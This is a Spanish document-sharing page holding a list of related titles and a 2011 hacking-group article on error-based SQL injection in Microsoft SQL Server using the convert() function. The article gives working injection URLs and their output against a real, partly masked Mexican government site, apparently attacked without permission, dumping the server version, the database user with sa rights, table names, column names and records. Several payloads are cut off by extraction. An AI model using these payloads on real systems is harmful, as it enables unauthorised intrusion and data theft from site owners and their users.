SQL Injection en SQL Server y función convert()



Documentos relacionados
T12 Vistas y tablas temporales

LAS SUBCONSULTAS SQL SERVER Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE

CONSULTAS MULTITABLAS SQL SERVER Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE

CONSULTAS DE RESUMEN SQL SERVER Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE

Inyección de código SQL en MS SQL Server 2005

U.E JUAN DE VELASCO CREAR DATOS EN SQL

CONSULTAS CON SQL. 3. Hacer clic sobre el botón Nuevo de la ventana de la base de datos. Aparecerá el siguiente cuadro de diálogo.

8- Diseño de bases de datos

Unidad III: Lenguaje de manipulación de datos (DML) 3.1 Inserción, eliminación y modificación de registros

Curso SQL Nivel Avanzado 1. Miguel Jurado García

COMANDOS DE SQL, OPERADORES, CLAUSULAS Y CONSULTAS SIMPLES DE SELECCIÓN

INTRANET: MANUAL DE INSTALACIÓN

Práctico. Excel para la toma de decisiones. Ayudante : César Villalobos Luengo Profesora : Dra. Angélica Urrutia

Base de datos I Facultad de Ingeniería. Escuela de computación.

1. DML. Las subconsultas

Optimizar base de datos WordPress

TRABAJO GRUPAL TEMA: COMO CREAR BASE DE DATOS EN SQL

Curso de PHP con MySQL Gratis

SharpdeskTM R3.1. Guía de instalación Versión

Manual de NetBeans y XAMPP

Toda base de datos relacional se basa en dos objetos

Manual De Instalación MySQl 5.1 MANUAL DE INSTALACIÓN Y CONFIGURACIÓN DE MYSQL

INSTALACIÓN DE ORACLE 8i (8.1.7) SOBRE NT

RETO FORENSE EPISODIO III Resumen Ejecutivo

GESTIÓN DE GESTORES. Manual de usuario Versión 1.1


Tema: SUBCONSULTAS Y CREACION DE VISTAS.

SIFEC 2010 Manual de Usuario Instalación GUIA DE INSTALACIÓN SIFEC-2010

Microsoft Dynamics. Instalación de Management Reporter for Microsoft Dynamics ERP

Web ITSM -GUIA RÁPIDA DE USUARIO-

TALLER #5 ACCESS CONSULTAS. objeto Consulta en la vista lateral izquierda de la ventana Base de datos. Aparece esta ventana.

Conectar Flash con Access usando MDM Zinc

vgestorweb vgestorweb 1/9

CONSULTAS BASICAS EN SQL SERVER

APÉNDICE E: MANUAL DE USUARIO PARA EL SISTEMA DE MONITOREO DE REDES LAN.

6.- Este software se instalara como una versión Demo con una duración de 25 días de uso. En el código de validación, se dejara la palabra Demo.

Manual de Instalación

Manual para uso de cuentas de

MANUAL DE INSTALACIÓN DEL SISTEMA PERUANO DE INFORMACIÓN JURÍDICA

INFORMES CON REPORTS BUILBER

Blind SQL Injectión. Práctico

Copia de Seguridad en windows

ACTIVE DIRECTORY - PROPIEDADES DE USUARIO

GUIA DE LABORATORIO Nro. 4

TALLER DE SQL INJECTION

1 Itinerario. 2 Descripción y funcionalidades principales. Google Docs. 1.1 Qué vamos a hacer? 1.2 Qué pasos vamos a seguir?

De uno a uno : Ejemplo de una llave primaria a otra llave primaria De uno a muchos : Ejemplo de una llave primaria a una Regular o Foránea.

Guía de instalación y configuración mecasoftpro Versión Student Plus

Introducción a PostgreSQL con PHP

OPERACIONES EN MOSTRADOR

Manual para uso de cuentas de

select nombre from profesores where categoria='aso6';

TS RemoteApp Manager

El lenguaje SQL es un lenguaje estándar para el acceso y

Guía rápida de la Oficina Virtual Área Web y Administración Electrónica

IIS. Qué es? Instalación. Bruno Del Greco SRI

RETO HACKER DE VERANO

Manual para uso de cuentas de correo

Redes de área local: Aplicaciones y servicios WINDOWS

Trazabilidad ERP Microsa Gestión de Lotes

Instalar PhotoGestión en un Mac con VirtualBox

Creación de contenidos en WebBuilder. Herramienta Web Builder en Word de Microsoft Office

Microsoft Dynamics. Migración de FRx 6.7 a Management Reporter for Microsoft Dynamics ERP

MANUAL DE AYUDA MODULO TALLAS Y COLORES

El Programa estadístico R

COPIA DE SEGURIDAD CON NTBACKUP

Ministerio de Economía y Finanzas Dirección General de Tesorería PROCEDIMIENTO PARA EL REGISTRO DE LA CONSULTA WEB EN LINEA DE LOS PROVEEDORES

MANUAL PARA LA GESTIÓN DEL PRÉSTAMO ENTRE LAS BIBLIOTECAS DE LA RED DE LECTURA PÚBLICA DE EUSKADI

PHP Perfect SQL v1.0 (SQL perfectas en PHP)

5- Uso de sentencias avanzadas

SENTENCIAS Y CONSULTAS EN SQL SERVER

Manual de Usuario de Survey Móvil. Actualización Aplicación

Sistema de Gestión de Contactos y Administración

INSTITUTO TECNOLOGICO SUPERIOR DE TEZIUTLAN CONFIGURACION Y ADMON DE REDES

Gestión Básica de SQL Server. Versión V1 Fecha

Práctica A: Procedimientos para agrupar y resumir datos

USANDO SQL. EN BASE DE Ooo.

Creación y administración de grupos locales

Sintaxis: CURSOR nombre_cursor[(param1 [IN] tipo1,... )] IS consulta ;

Índice: Pg. 1. Requerimientos Previos Pg. 2. Instalación de Datacograf Lite Pg. 2. Configuración de Datacograf Lite Pg. 5. Idioma Pg. 7. Otros Pg.

PROYECTO ETL PENTAHO ENTERPRISE EDITION

Instalación de Tomcat7 en Ubuntu

MANUAL DE AYUDA HERRAMIENTA DE APROVISIONAMIENTO

Realizar un Backup Programado con SQL Server 2005 WhitePaper Marzo de 2007

ICARO MANUAL DE LA EMPRESA

V i s i t a V i r t u a l e n e l H o s p i t a l

TUTORIAL DATA WAREHOUSE SQL Server: ETL Parte II

Botón de inicio en ejecutar colocar, dcpromo. Esto promocionara al servidor. Dar siguiente. Página 1

Redes II Universidad Nacional de Jujuy Facultad de Ingeniería Carrera: APU 2008

Clientes del dominio

BRUTALIX Una distribución GNU/Linux para operadores.

Manual del Investigador de OpenClinica

REQUISITOS DEL SISTEMA. Software Servidor. Cliente. Hardware Servidor. Cliente

1.2 Instalación de Biótica

CITRIX Citrix Application Streaming

CONFIGURACIÓN BÁSICA DE UNA VPN EN WINDOWS XP PROFESIONAL

Autora: Francisca Mata López. Publicado en:

Transcripción:

25 Nov 2011 SQL Injection en SQL Server y función convert() Este artículo esta escrito con fines didácticos y nunca para incitar o promover que el lector use esto con fines delictivos. No me hago responsable por el uso que le das a esta información. Anteriormente hemos tratado temas de SQL Injection, sin embargo siempre nos basamos en el sistema de gestión de base de datos (SGBD) MySql así que esta vez dedicaremos un espacio para introducirnos en ataques a sistemas SQL SERVER. Igual que en artículos anteriores veremos la forma de listar las tablas, campos y registros que conforman la base de datos a atacar. Las pruebas fueron realizadas sobre un sitio real, sin embargo omitiré el nombre y dirección solo pondré impresiones de pantalla del resultado del ataque. No veremos BLIND SQLI ya que nos basaremos en los errores devueltos por el servidor, para generar estos errores inyectaremos la función convert() que sirve para hacer conversiones entre tipos de datos, por tanto pediremos que convierta un tipo de dato totalmente incompatible. La primera prueba que nos servirá como testeo es pedir la versión de SQL con ayuda de @@version que además será útil para saber la sintaxis que debemos usar. http://www.xxxxxxxxx.gob.mx/hacienda/canal.asp?cve_canal=12834 and 1=convert(int,@@version) -- h Versión: Microsoft SQL Server 2000-8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

Al final incluimos el carácter comentario -- para que omita el resto de la consulta. Sacamos el usuario con el que la aplicación esta corriendo SQL Server http://www.xxxxxxxxx.gob.mx/hacienda/canal.asp?cve_canal=12834 and 1=convert(int,system_user) -- h Usuario: portalconsultas Sacamos los permisos del usuario con el que esta corriendo SQL Server. 1 name FROM master..syslogins )) -- h Permisos: sa Como podemos ver esta corriendo con permisos de Super Administrador xd (aquí se los dejo a su imaginación).

Empezamos a sacar las tablas que forman la base de datos para eso usaremos los metadatos, el nombre de las tablas se almacena en sysobjects (el de las columnas en syscolumns). Como en SQL Server no existe una sentencia LIMIT como en Mysql usaremos TOP para delimitar el numero de filas que queremos de regreso. http://www.xxxxxxxxx.gob.mx/hacienda/canal.asp?cve_canal=12834 and 1=convert(int, (SELECT top 1 NAME FROM sysobjects order by name)) -- h Tabla: Aceptados Ahora para sacar la siguiente tabla añadiremos una condición WHERE donde el nombre de la tabla sea mayor a Aceptados lo cual recorrerá el TOP 1. 1 NAME FROM sysobjects WHERE name > 'Aceptados' order by name)) -- h Tabla: Agenda_Categorias.

Este proceso seguirá hasta obtener todas las tablas. Para sacar los nombres de columna de una tabla especifica crearemos la siguiente consulta: SELECT TOP 1 syscolumns.name FROM sysobjects INNER JOIN syscolumns sysobjects.id= syscolumns.id WHERE sysobjects.name = Nombre tabla ORDER BY syscolumns.name 1 syscolumns.name FROM syscolumns INNER JOIN sysobjects ON syscolumns.id=sysobjects.id WHERE sysobjects.name='agenda_categorias' ORDER BY syscolumns.name)) -- h Campo: categoria 1 syscolumns.name FROM syscolumns INNER JOIN sysobjects ON syscolumns.id=sysobjects.id WHERE sysobjects.name='agenda_categorias' AND syscolumns.name>'categoria' ORDER BY syscolumns.name))-- h Campo: idcategoria

Así hasta terminar de listar campos. Finalmente extraemos los registros de la tabla en este caso sacare el contenido de la tabla Agenda_Categoria y del campo categoria. 1 categoria FROM Agenda_Categorias ORDER BY categoria)) -- h Registro: Adulto Mayor 1 categoria FROM Agenda_Categorias WHERE categoria>'adulto Mayor' ORDER BY categoria)) -- h Registro: Atención a la Mujer Con esto finalizamos esta pequeña introducción a SQL Injection en SQL Server que ya es un tema viejo dentro de las vulnerabilidades de APPS WEB pero que sin embargo no había sido tratado para este SGBD por Aztlan Hack. Aztlan Hack http://www.aztlan-hack.org MSN/EMAIL: molder@aztlan-hack.org Twitter: @Aztlan_Hack Por Sombrero de paja Molder